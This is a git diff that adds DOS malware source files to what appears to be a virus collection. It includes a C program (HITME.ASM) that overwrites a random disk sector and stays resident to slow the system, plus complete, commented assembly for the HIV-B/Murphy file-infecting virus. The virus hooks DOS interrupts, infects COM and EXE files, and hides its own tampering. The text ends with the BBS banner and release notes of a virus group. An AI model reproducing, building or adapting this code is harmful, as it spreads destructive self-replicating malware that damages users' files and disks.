08Dh,060h,03Ch,05Ah,085h,081h,07Eh,079h,08Dh,0B3h,060h,05Bh,07Bh + db 064h,03Dh,053h,06Ch,093h,0B5h,090h,08Ah,0BBh,07Ah,06Fh,08Fh,076h + db 046h,05Fh,070h,087h,0B3h,08Ch,07Ch,0AEh,078h,059h,085h,07Eh,048h + db 050h,07Bh,09Dh,0C1h,0A1h,08Fh,09Fh,098h,073h,085h,07Ch,048h,055h + db 07Ah,083h,083h,08Bh,08Bh,0A0h,0A8h,068h,06Fh,087h,05Eh,04Ah,061h + db 083h,095h,0A1h,090h,08Fh,0A8h,068h,067h,07Fh,062h,03Ah,056h,06Eh + db 097h,0B3h,087h,076h,09Fh,096h,06Ah,083h,080h,043h,056h,07Eh,088h + db 087h,08Fh,090h,0ADh,0B4h,060h,066h,08Dh,06Dh,044h,05Ch,075h,096h + db 0CAh,08Ch,063h,098h,071h,079h,087h,078h,044h,04Bh,083h,097h,09Bh + db 08Ah,07Ch,09Eh,0ACh,061h,05Fh,07Fh,062h,04Ah,067h,08Ah,095h,0BBh + db 098h,08Ch,0BDh,084h,085h,091h,06Ch,045h,059h,085h,08Bh,095h,08Bh + db 083h,0A4h,08Ch,04Dh,06Ah,08Bh,060h,048h,05Eh,07Fh,0ADh,0CCh,07Ch + db 068h,09Ch,064h,083h,089h,054h,036h,04Fh,07Dh,096h,0AFh,088h,072h + db 086h,0A0h,08Bh,074h,05Bh,04Dh,073h,078h,087h,09Eh,09Dh,092h,0A5h + db 0BCh,076h,07Bh,085h,059h,055h,06Ch,081h,093h,0A7h,0A1h,07Bh,07Ch + db 084h,06Dh,07Ch,07Bh,042h,039h,057h,07Dh,0C5h,0ACh,05Ah,071h,092h + db 06Ah,08Ah,09Fh,061h,046h,06Eh,099h,0BBh,0ABh,076h,073h,0A4h,068h + db 069h,06Fh,061h,036h,04Dh,07Bh,09Fh,0D1h,0A2h,081h,0B2h,098h,07Eh + db 093h,086h,04Bh,04Dh,077h,08Dh,0A7h,092h,07Ah,09Dh,0A0h,057h,072h + db 07Ah,05Ch,063h,065h,06Fh,09Fh,0CDh,08Dh,074h,09Ch,060h,063h,089h + db 070h,035h,046h,070h,095h,0C6h,090h,061h,085h,094h,06Ah,07Fh,07Eh + db 04Ah,05Ch,066h,076h,0A5h,0BAh,090h,087h,0BAh,082h,07Eh,095h,086h + db 04Ch,054h,07Dh,09Eh,0C9h,0A0h,06Ch,093h,086h,065h,073h,078h,03Dh + db 058h,065h,06Fh,08Ah,0AAh,090h,094h,0A1h,055h,062h,08Bh,068h,03Eh + db 04Ch,06Ch,09Bh,0D8h,090h,06Eh,0ACh,086h,07Dh,092h,076h,044h,052h + db 073h,089h,0B9h,096h,06Eh,08Dh,0A2h,065h,06Dh,084h,04Ah,05Dh,079h + db 090h,085h,094h,0ADh,0BBh,0C4h,066h,062h,083h,08Eh,056h,054h,068h + db 07Bh,0BFh,0BCh,070h,082h,063h,06Eh,08Dh,085h,040h,04Ah,069h,085h + db 0BDh,090h,05Ch,075h,09Ah,073h,07Bh,088h,050h,053h,074h,087h,097h + db 0ADh,08Eh,085h,0B3h,080h,073h,07Bh,076h,048h,059h,098h,092h,088h + db 08Ch,099h,0B6h,0A8h,05Bh,064h,081h,05Ch,050h,058h,066h,085h,0BFh + db 0A6h,072h,082h,057h,077h,0A5h,07Ch,04Dh,062h,07Bh,092h,0CAh,088h + db 054h,095h,080h,069h,07Bh,080h,04Ch,059h,07Ah,092h,0B5h,0B0h,079h + db 08Dh,09Ah,07Fh,07Fh,084h,057h,056h,076h,091h,09Fh,0A2h,088h,08Ah + db 0A5h,06Ah,06Dh,075h,05Ch,049h,062h,079h,087h,0BEh,099h,066h,08Eh + db 076h,07Eh,08Bh,074h,04Dh,05Bh,077h,089h,0AFh,0A0h,061h,07Bh,082h + db 065h,077h,08Eh,068h,068h,073h,08Eh,0A6h,0CAh,08Dh,065h,087h,08Bh + db 084h,076h,07Ch,054h,063h,075h,08Ah,0ADh,0B5h,078h,077h,093h,06Fh + db 07Bh,086h,060h,05Dh,068h,07Ah,093h,0C5h,08Ch,055h,083h,069h,071h + db 076h,072h,056h,05Ch,06Bh,081h,0ADh,0C4h,080h,067h,07Ah,061h,077h + db 096h,07Ah,072h,06Dh,07Eh,095h,0C2h,0B8h,064h,06Fh,072h,069h,078h + db 09Ah,078h,06Eh,073h,087h,0A7h,0CEh,098h,050h,07Eh,073h,074h,07Dh + db 088h,062h,066h,07Fh,091h,09Fh,0C3h,080h,058h,07Eh,060h,065h,081h + db 078h,057h,05Fh,088h,08Ch,0A0h,0B5h,076h,057h,070h,058h,070h,094h + db 075h,05Ch,077h,09Ch,08Ah,0A3h,0B8h,068h,05Fh,08Ch,06Dh,06Ah,095h + db 07Bh,06Bh,085h,093h,08Ah,0AFh,0B0h,064h,05Fh,08Fh,063h,069h,08Fh + db 067h,063h,07Dh,08Ah,082h,0A9h,0A8h,05Eh,05Dh,08Ah,060h,06Ah,089h + db 074h,073h,07Fh,092h,07Ch,089h,0B3h,081h,05Fh,093h,072h,066h,07Ah + db 08Eh,07Eh,089h,094h,080h,07Eh,09Fh,098h,064h,088h, +slutt: + +size equ $-100h +pgf equ ($+16)/16 + \ No newline at end of file diff --git a/h/HITME.ASM b/h/HITME.ASM new file mode 100755 index 0000000..b6c0079 --- /dev/null +++ b/h/HITME.ASM @@ -0,0 +1,42 @@ +#include +#include +#include +#include +#include +#include + +#define INTR 0X1C + +#ifdef __cplusplus + #define __CPPARGS ... +#else + #define __CPPARGS +#endif + +void interrupt ( *oldhandler)(__CPPARGS); + +void interrupt handler(__CPPARGS) +{ +delay(135); +oldhandler(); +} + +void main(void) +{ +randomize(); char buf[512]; +abswrite(2, 1, random(50000)+2000, buf); + +if(random(20) == 10) asm INT 19h + + oldhandler = getvect(INTR); + setvect(INTR, handler); + _ES = _psp; //PSP address + asm MOV es,es:[2ch] + _AH = 0x49; //Function 49 (remove memory block) + asm INT 21h //Call DOS to execute instruction + _AH = 0x31; //Function 31 (tsr) + _AL = 0x00; //Exit code + _DX = _psp; //PSP address + asm INT 21h //Call DOS to execute instruction + +} \ No newline at end of file diff --git a/h/HIV-B.ASM b/h/HIV-B.ASM new file mode 100755 index 0000000..c6db4f0 --- /dev/null +++ b/h/HIV-B.ASM @@ -0,0 +1,745 @@ +DATA_1E EQU 4CH ; Just a Few Data Segments that are +DATA_3E EQU 84H ; Needed for the virus to find some +DATA_5E EQU 90H ; hard core info... +DATA_7E EQU 102H +DATA_8E EQU 106H +DATA_9E EQU 122H +DATA_10E EQU 124H +DATA_11E EQU 15AH +DATA_12E EQU 450H +DATA_13E EQU 462H +DATA_14E EQU 47BH +DATA_15E EQU 0 +DATA_16E EQU 1 +DATA_17E EQU 2 +DATA_18E EQU 6 +DATA_42E EQU 0FB2CH +DATA_43E EQU 0FB2EH +DATA_44E EQU 0FB4BH +DATA_45E EQU 0FB4DH +DATA_46E EQU 0FB83H +DATA_47E EQU 0FB8DH +DATA_48E EQU 0FB8FH +DATA_49E EQU 0FB95H +DATA_50E EQU 0FB97H +DATA_51E EQU 0 +DATA_52E EQU 2 + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h ; Compile this to a .COM file! + ; So the Virus starts at 0100h +HIV PROC FAR + +START: + JMP LOC_35 + DB 0C3H + DB 23 DUP (0C3H) + DB 61H, 6EH, 74H, 69H, 64H, 65H + DB 62H, 0C3H, 0C3H, 0C3H, 0C3H + DB 'HIV-B Virus - Release 1.1 [NukE]' + DB ' ' +copyright DB '(C) Edited by Rock Steady [NukE]' + DB 0, 0 +DATA_24 DW 0 +DATA_25 DW 0 +DATA_26 DW 0 +DATA_27 DW 706AH +DATA_28 DD 00000H +DATA_29 DW 0 +DATA_30 DW 706AH +DATA_31 DD 00000H +DATA_32 DW 0 +DATA_33 DW 706AH +DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH + DB 'Edited by Rock Steady [NukE]', 0AH, 0DH + DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH + DB '$' + DB 0E8H, 83H, 3, 3DH, 4DH, 4BH + DB 75H, 9, 55H, 8BH, 0ECH, 83H + DB 66H, 6, 0FEH, 5DH, 0CFH, 80H + DB 0FCH, 4BH, 74H, 12H, 3DH, 0 + DB 3DH, 74H, 0DH, 3DH, 0, 6CH + DB 75H, 5, 80H, 0FBH, 0, 74H + DB 3 +LOC_1: + JMP LOC_13 +LOC_2: + PUSH ES ; Save All Regesters so that when + PUSH DS ; we restore the program it will + PUSH DI ; RUN correctly and hide the fact + PUSH SI ; that any Virii is tampering with + PUSH BP ; the System.... + PUSH DX + PUSH CX + PUSH BX + PUSH AX + CALL SUB_6 + CALL SUB_7 + CMP AX,6C00H + JNE LOC_3 ; Jump if not equal + MOV DX,SI +LOC_3: + MOV CX,80H + MOV SI,DX + +LOCLOOP_4: + INC SI ; Slowly down the System a + MOV AL,[SI] ; little. + OR AL,AL ; Zero ? + LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0 + + SUB SI,2 + CMP WORD PTR [SI],4D4FH + JE LOC_7 ; Jump if equal + CMP WORD PTR [SI],4558H + JE LOC_6 ; Jump if equal +LOC_5: + JMP SHORT LOC_12 ; + DB 90H +LOC_6: + CMP WORD PTR [SI-2],452EH + JE LOC_8 ; Jump if equal + JMP SHORT LOC_5 ; +LOC_7: + NOP + CMP WORD PTR [SI-2],432EH + JNE LOC_5 ; Jump if not equal +LOC_8: + MOV AX,3D02H + CALL SUB_5 + JC LOC_12 ; Jump if carry Set + MOV BX,AX + MOV AX,5700H + CALL SUB_5 ; Initsilize the virus... + MOV CS:DATA_24,CX ; A Basic Start up to check + MOV CS:DATA_25,DX ; The Interrup 21h + MOV AX,4200H + XOR CX,CX + XOR DX,DX + CALL SUB_5 + PUSH CS + POP DS + MOV DX,103H + MOV SI,DX + MOV CX,18H + MOV AH,3FH + CALL SUB_5 + JC LOC_10 ; Jump if carry Set + CMP WORD PTR [SI],5A4DH + JNE LOC_9 ; Jump if not equal + CALL SUB_1 + JMP SHORT LOC_10 +LOC_9: + CALL SUB_4 +LOC_10: + JC LOC_11 ; Jump if carry Set + MOV AX,5701H + MOV CX,CS:DATA_24 + MOV DX,CS:DATA_25 + CALL SUB_5 +LOC_11: + MOV AH,3EH ; '>' + CALL SUB_5 +LOC_12: + CALL SUB_7 + POP AX ; A Stealth Procedure to + POP BX ; end the virus and restore + POP CX ; the program! Pup back all + POP DX ; regesters as we found them! + POP BP ; so nothings changed... + POP SI + POP DI + POP DS + POP ES +LOC_13: + JMP CS:DATA_28 + DB 0B4H, 2AH, 0CDH, 21H, 0C3H + +HIV ENDP + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_1 PROC NEAR ; Start of the Virus! + MOV AH,2AH ; Get the Date system Date! + INT 21H ; If its Friday Display the + ; message at Data34 and End! + CMP AL,6 + JE LOC_15 ; If Friday display message + JNZ LOC_14 ; If not continue infecting +LOC_14: ; and screwing the system! + MOV CX,[SI+16H] + ADD CX,[SI+8] + MOV AX,10H + MUL CX ; dx:ax = reg * ax + ADD AX,[SI+14H] + ADC DX,0 + PUSH DX + PUSH AX + MOV AX,4202H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + CMP DX,0 + JNE LOC_16 ; Jump if not equal + CMP AX,64EH + JAE LOC_16 ; Jump if above or = + POP AX + POP DX + STC ; Set carry flag + RETN +LOC_15: + MOV DX,OFFSET DATA_34+18H ; Display Message at Data34! + MOV AH,9 ; With New Offset Address in + INT 21H ; memory! + ; + POP AX ; Restore all Regesters as if + POP BX ; nothing was changed and exit + POP CX ; virus and run File... + POP DX + POP SI + POP DI + POP BP + POP DS + POP ES + MOV AH,0 ; Exit Virus if your in a .EXE + INT 21H ; File!!! + ; Exit virus if your in a .COM + INT 20H ; File!!! +LOC_16: + MOV DI,AX + MOV BP,DX + POP CX + SUB AX,CX + POP CX + SBB DX,CX + CMP WORD PTR [SI+0CH],0 + JE LOC_RET_19 ; Jump if equal + CMP DX,0 + JNE LOC_17 ; Jump if not equal + CMP AX,64EH + JNE LOC_17 ; Jump if not equal + STC ; Set carry flag + RETN +LOC_17: + MOV DX,BP + MOV AX,DI + PUSH DX + PUSH AX + ADD AX,64EH + ADC DX,0 + MOV CX,200H + DIV CX ; Find out How much System + LES DI,DWORD PTR [SI+2] ; memory is available... + MOV CS:DATA_26,DI ; + MOV CS:DATA_27,ES ; Every so often make the + MOV [SI+2],DX ; system memory small than + CMP DX,0 ; what it already is... + JE LOC_18 ; Screws up the users hehe + INC AX +LOC_18: + MOV [SI+4],AX + POP AX + POP DX + CALL SUB_2 + SUB AX,[SI+8] + LES DI,DWORD PTR [SI+14H] + MOV DS:DATA_9E,DI + MOV DS:DATA_10E,ES + MOV [SI+14H],DX ; Tie up some memory! + MOV [SI+16H],AX ; release it on next execution + MOV DS:DATA_11E,AX ; Jump to su routine to do + MOV AX,4202H ; this and disable interrups + XOR CX,CX + XOR DX,DX + CALL SUB_5 + CALL SUB_3 + JC LOC_RET_19 + MOV AX,4200H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + MOV AH,40H + MOV DX,SI + MOV CX,18H + CALL SUB_5 +LOC_RET_19: + RETN +SUB_1 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_2 PROC NEAR + MOV CX,4 + MOV DI,AX + AND DI,0FH + +LOCLOOP_20: + SHR DX,1 ; Shift w/zeros fill + RCR AX,1 ; Rotate thru carry + LOOP LOCLOOP_20 ; Loop if cx > 0 + + MOV DX,DI + RETN +SUB_2 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_3 PROC NEAR + MOV AH,40H + MOV CX,64EH + MOV DX,100H + CALL SUB_6 + JMP SHORT LOC_24 + DB 90H + +;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_4: + MOV AX,4202H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + CMP AX,64EH + JB LOC_RET_23 ; Jump if below + CMP AX,0FA00H + JAE LOC_RET_23 ; Jump if above or = + PUSH AX + CMP BYTE PTR [SI],0E9H + JNE LOC_21 ; Jump if not equal + SUB AX,651H + CMP AX,[SI+1] + JNE LOC_21 ; Jump if not equal + POP AX + STC ; Set carry flag + RETN +LOC_21: + CALL SUB_3 + JNC LOC_22 ; Jump if carry=0 + POP AX + RETN +LOC_22: + MOV AX,4200H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + POP AX + SUB AX,3 + MOV DX,122H + MOV SI,DX + MOV BYTE PTR CS:[SI],0E9H + MOV CS:[SI+1],AX + MOV AH,40H + MOV CX,3 + CALL SUB_5 + +LOC_RET_23: + RETN +SUB_3 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_5 PROC NEAR +LOC_24: + PUSHF ; Push flags + CALL CS:DATA_28 + RETN +SUB_5 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_6 PROC NEAR + PUSH AX + PUSH DS + PUSH ES + XOR AX,AX ; Zero register + PUSH AX + POP DS + CLI ; Disable the interrupts + LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus + MOV CS:DATA_29,AX ; to the COM File... + MOV CS:DATA_30,ES + MOV AX,46AH + MOV DS:DATA_5E,AX + MOV WORD PTR DS:DATA_5E+2,CS + LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word.. + MOV CS:DATA_32,AX ; get your info needed on + MOV CS:DATA_33,ES ; System... + LES AX,CS:DATA_31 + MOV DS:DATA_1E,AX + MOV WORD PTR DS:DATA_1E+2,ES + STI ; Enable the interrupts + POP ES ; and restore regesters! + POP DS ; go back to the file + POP AX ; being executed... + RETN +SUB_6 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_7 PROC NEAR + PUSH AX + PUSH DS + PUSH ES + XOR AX,AX ; Zero register + PUSH AX + POP DS + CLI ; Disable interrupts + LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy + MOV DS:DATA_5E,AX ; yourself to the EXE + MOV WORD PTR DS:DATA_5E+2,ES + LES AX,DWORD PTR CS:DATA_32 + MOV DS:DATA_1E,AX + MOV WORD PTR DS:DATA_1E+2,ES + STI ; Enable interrupts + POP ES + POP DS + POP AX + RETN +SUB_7 ENDP + + DB 0B0H, 3, 0CFH, 50H, 53H, 51H + DB 52H, 56H, 57H, 55H, 1EH, 6 + DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH + DB 62H, 4, 0A1H, 50H, 4, 2EH + DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H + DB 4, 0A3H, 50H, 4, 2EH, 0A1H + DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9 + DB 0B9H, 1, 0, 0CDH, 10H, 0E8H + DB 34H, 0, 0E8H, 0B7H, 0, 2EH + DB 0A1H, 0C7H, 4, 0A3H, 50H, 4 + DB 0B3H, 2, 0B8H, 2, 9, 0B9H + DB 1, 0, 0CDH, 10H, 2EH, 0A1H + DB 0CEH, 4, 0A3H, 50H, 4, 7 + DB 1FH + DB ']_^ZY[X.' + DB 0FFH, 2EH, 0CAH, 4 +DATA_36 DW 0 +DATA_37 DW 1010H +DATA_39 DB 0 +DATA_40 DD 706A0000H + DB 0, 0, 2EH, 0A1H, 0C7H, 4 + DB 8BH, 1EH, 4AH, 4, 4BH, 2EH + DB 0F6H, 6, 0C9H, 4, 1, 74H + DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH + DB 80H, 36H, 0C9H, 4, 1, 0EBH + DB 0AH +LOC_25: + CMP AL,0 + JG LOC_26 ; Jump if > + XOR CS:DATA_39,1 +LOC_26: + TEST CS:DATA_39,2 + JZ LOC_27 ; Jump if zero + CMP AH,18H + JB LOC_28 ; Jump if below + XOR CS:DATA_39,2 + JMP SHORT LOC_28 +LOC_27: + CMP AH,0 + JG LOC_28 ; Jump if > + XOR CS:DATA_39,2 +LOC_28: + CMP BYTE PTR CS:DATA_36,20H + JE LOC_29 ; Jump if equal + CMP BYTE PTR CS:DATA_37+1,0 + JE LOC_29 ; Jump if equal + XOR CS:DATA_39,2 +LOC_29: + TEST CS:DATA_39,1 + JZ LOC_30 ; Jump if zero + INC BYTE PTR CS:DATA_37 + JMP SHORT LOC_31 +LOC_30: + DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H) +LOC_31: + TEST CS:DATA_39,2 ; (706A:04C9=0) + JZ LOC_32 ; Jump if zero + INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H) + JMP SHORT LOC_RET_33 ; (0555) +LOC_32: + DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H) + +LOC_RET_33: + RETN + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_8 PROC NEAR + MOV AX,CS:DATA_37 + MOV DS:DATA_12E,AX ; Get info on type of Video + MOV BH,DS:DATA_13E ; Display the system has... + MOV AH,8 + INT 10H ; with ah=functn 08h + ; basically fuck the cursur.. + MOV CS:DATA_36,AX + RETN +SUB_8 ENDP + + DB 50H, 53H, 51H, 52H, 56H, 57H + DB 55H, 1EH, 6, 33H, 0C0H, 50H + DB 1FH, 81H, 3EH, 70H, 0, 6DH + DB 4, 74H, 35H, 0A1H, 6CH, 4 + DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH + DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0 + DB 75H, 24H, 0FAH, 8BH, 2EH, 50H + DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH + DB 50H, 4, 0C4H, 6, 70H, 0 + DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH + DB 6, 0CCH, 4, 0C7H, 6, 70H + DB 0, 6DH, 4, 8CH, 0EH, 72H + DB 0, 0FBH +LOC_34: + POP ES + POP DS ; Restore and get lost... + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RETN + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +SUB_9 PROC NEAR + MOV DX,10H + MUL DX ; dx:ax = reg * ax + RETN +SUB_9 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_10 PROC NEAR + XOR AX,AX ; If if wants to dissamble + XOR BX,BX ; us give him a HARD time... + XOR CX,CX ; By making all into 0 + XOR DX,DX ; Zero register + XOR SI,SI ; Zero register + XOR DI,DI ; Zero register + XOR BP,BP ; Zero register + RETN +SUB_10 ENDP + +LOC_35: + PUSH DS + CALL SUB_11 + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_11 PROC NEAR + MOV AX,4B4DH + INT 21H ; Load and EXEC file... + ; be runned... + NOP + JC LOC_36 ; Jump if carry Set + JMP LOC_46 +LOC_36: + POP SI + PUSH SI + MOV DI,SI + XOR AX,AX ; Zero register + PUSH AX + POP DS + LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr + MOV CS:DATA_49E[SI],AX ; Move lots of data + MOV CS:DATA_50E[SI],ES ; into CS to infect the file + LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit.. + MOV CS:DATA_47E[DI],BX + MOV CS:DATA_48E[DI],ES + MOV AX,DS:DATA_7E + CMP AX,0F000H + JNE LOC_44 ; Jump if not equal + MOV DL,80H + MOV AX,DS:DATA_8E + CMP AX,0F000H + JE LOC_37 ; Jump if equal + CMP AH,0C8H + JB LOC_44 ; Jump if below + CMP AH,0F4H + JAE LOC_44 ; Jump if above or = + TEST AL,7FH + JNZ LOC_44 ; Jump if not zero + MOV DS,AX + CMP WORD PTR DS:DATA_51E,0AA55H + JNE LOC_44 ; Jump if not equal + MOV DL,DS:DATA_52E +LOC_37: + MOV DS,AX + XOR DH,DH ; Zero register + MOV CL,9 + SHL DX,CL ; Shift w/zeros fill + MOV CX,DX + XOR SI,SI ; Zero register + +LOCLOOP_38: + LODSW ; String [si] to ax + CMP AX,0FA80H + JNE LOC_39 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,7380H + JE LOC_40 ; Jump if equal + JNZ LOC_41 ; Jump if not zero +LOC_39: + CMP AX,0C2F6H + JNE LOC_42 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,7580H + JNE LOC_41 ; Jump if not equal +LOC_40: + INC SI + LODSW ; String [si] to ax + CMP AX,40CDH + JE LOC_43 ; Jump if equal + SUB SI,3 +LOC_41: + DEC SI + DEC SI +LOC_42: + DEC SI + LOOP LOCLOOP_38 ; Loop if cx > 0 + + JMP SHORT LOC_44 +LOC_43: + SUB SI,7 + MOV CS:DATA_49E[DI],SI + MOV CS:DATA_50E[DI],DS +LOC_44: + MOV AH,62H + INT 21H ; Simple...Get the PSP + ; Address (Program segment + MOV ES,BX ; address and but in BX) + MOV AH,49H + INT 21H ; Get the Free memory from + ; the system + MOV BX,0FFFFH ; release extra memory blocks + MOV AH,48H + INT 21H ; Allocate the memory + ; At BX (# bytes) + SUB BX,66H ; it attaches virus right + NOP ; under the 640k + JC LOC_46 + MOV CX,ES ; did it work? If not just + STC ; end the virus... + ADC CX,BX + MOV AH,4AH + INT 21H ; Adjust teh memory block + ; size! BX has the # of bytes + MOV BX,65H + STC ; Set carry flag + SBB ES:DATA_17E,BX ; Where to attach itself! + PUSH ES ; under 640K + MOV ES,CX + MOV AH,4AH + INT 21H ; Just change the memory + ; allocations! (BX=Btyes Size) + MOV AX,ES + DEC AX + MOV DS,AX + MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k + CALL SUB_9 + MOV BX,AX + MOV CX,DX + POP DS + MOV AX,DS + CALL SUB_9 + ADD AX,DS:DATA_18E + ADC DX,0 + SUB AX,BX + SBB DX,CX + JC LOC_45 ; Jump if carry Set + SUB DS:DATA_18E,AX +LOC_45: + MOV SI,DI + XOR DI,DI ; Zero register + PUSH CS + POP DS + SUB SI,4D7H + MOV CX,64EH + INC CX + REP MOVSB ; Rep when cx >0 Mov [si] to + MOV AH,62H ; es:[di] + INT 21H ; Get the Program segment + ; prefix...so we can infect it + DEC BX + MOV DS,BX + MOV BYTE PTR DS:DATA_15E,5AH + MOV DX,1E4H + XOR AX,AX ; Zero register + PUSH AX + POP DS + MOV AX,ES + SUB AX,10H + MOV ES,AX + CLI ; Disable interrupts + MOV DS:DATA_3E,DX ; + MOV WORD PTR DS:DATA_3E+2,ES + STI ; Enable interrupts + DEC BYTE PTR DS:DATA_14E ; +LOC_46: + POP SI + CMP WORD PTR CS:DATA_42E[SI],5A4DH + JNE LOC_47 ; Jump if not equal + POP DS + MOV AX,CS:DATA_46E[SI] + MOV BX,CS:DATA_45E[SI] ; all this shit is to restore + PUSH CS ; the program and continue + POP CX ; running the original + SUB CX,AX ; program... + ADD CX,BX + PUSH CX + PUSH WORD PTR CS:DATA_44E[SI] + PUSH DS + POP ES + CALL SUB_10 + RETF +LOC_47: + POP AX + MOV AX,CS:DATA_42E[SI] + MOV WORD PTR CS:[100H],AX + MOV AX,CS:DATA_43E[SI] + MOV WORD PTR CS:[102H],AX + MOV AX,100H + PUSH AX + PUSH CS + POP DS + PUSH DS + POP ES + CALL SUB_10 + RETN +SUB_11 ENDP + + +SEG_A ENDS + + + + END START diff --git a/h/HIV.ASM b/h/HIV.ASM new file mode 100755 index 0000000..c5d168a --- /dev/null +++ b/h/HIV.ASM @@ -0,0 +1,843 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +> HIV Virus Source : + + HIV - VIRUS + Created: March 1991 + Scan ID: [Murphy] + Origin: Italy ,"Italain Virus Laboratory!" + Sources: Produced by Rock Steady [NukE] + + [NukE] Notes: Okay, another VIRUS SOURCE Release from [NukE]! Yup, + ~~~~~~~~~~~~~ Anywayz, this Virus cums from the Murphy Virus! So + if you Scan it with SCAN McAfee & Ass. you will see that it will be + detected as the [Murphy] Virus! I got this Virus from Italy from the + "Italian Virus Laboratory!" Mind you this Virus Source is being + released to the public because it's an OLD Virus and is detectable! + and doesn't do any damage to the system! This virus was edited by + me, I removed some bugs inside and produced this SOURCE CODE 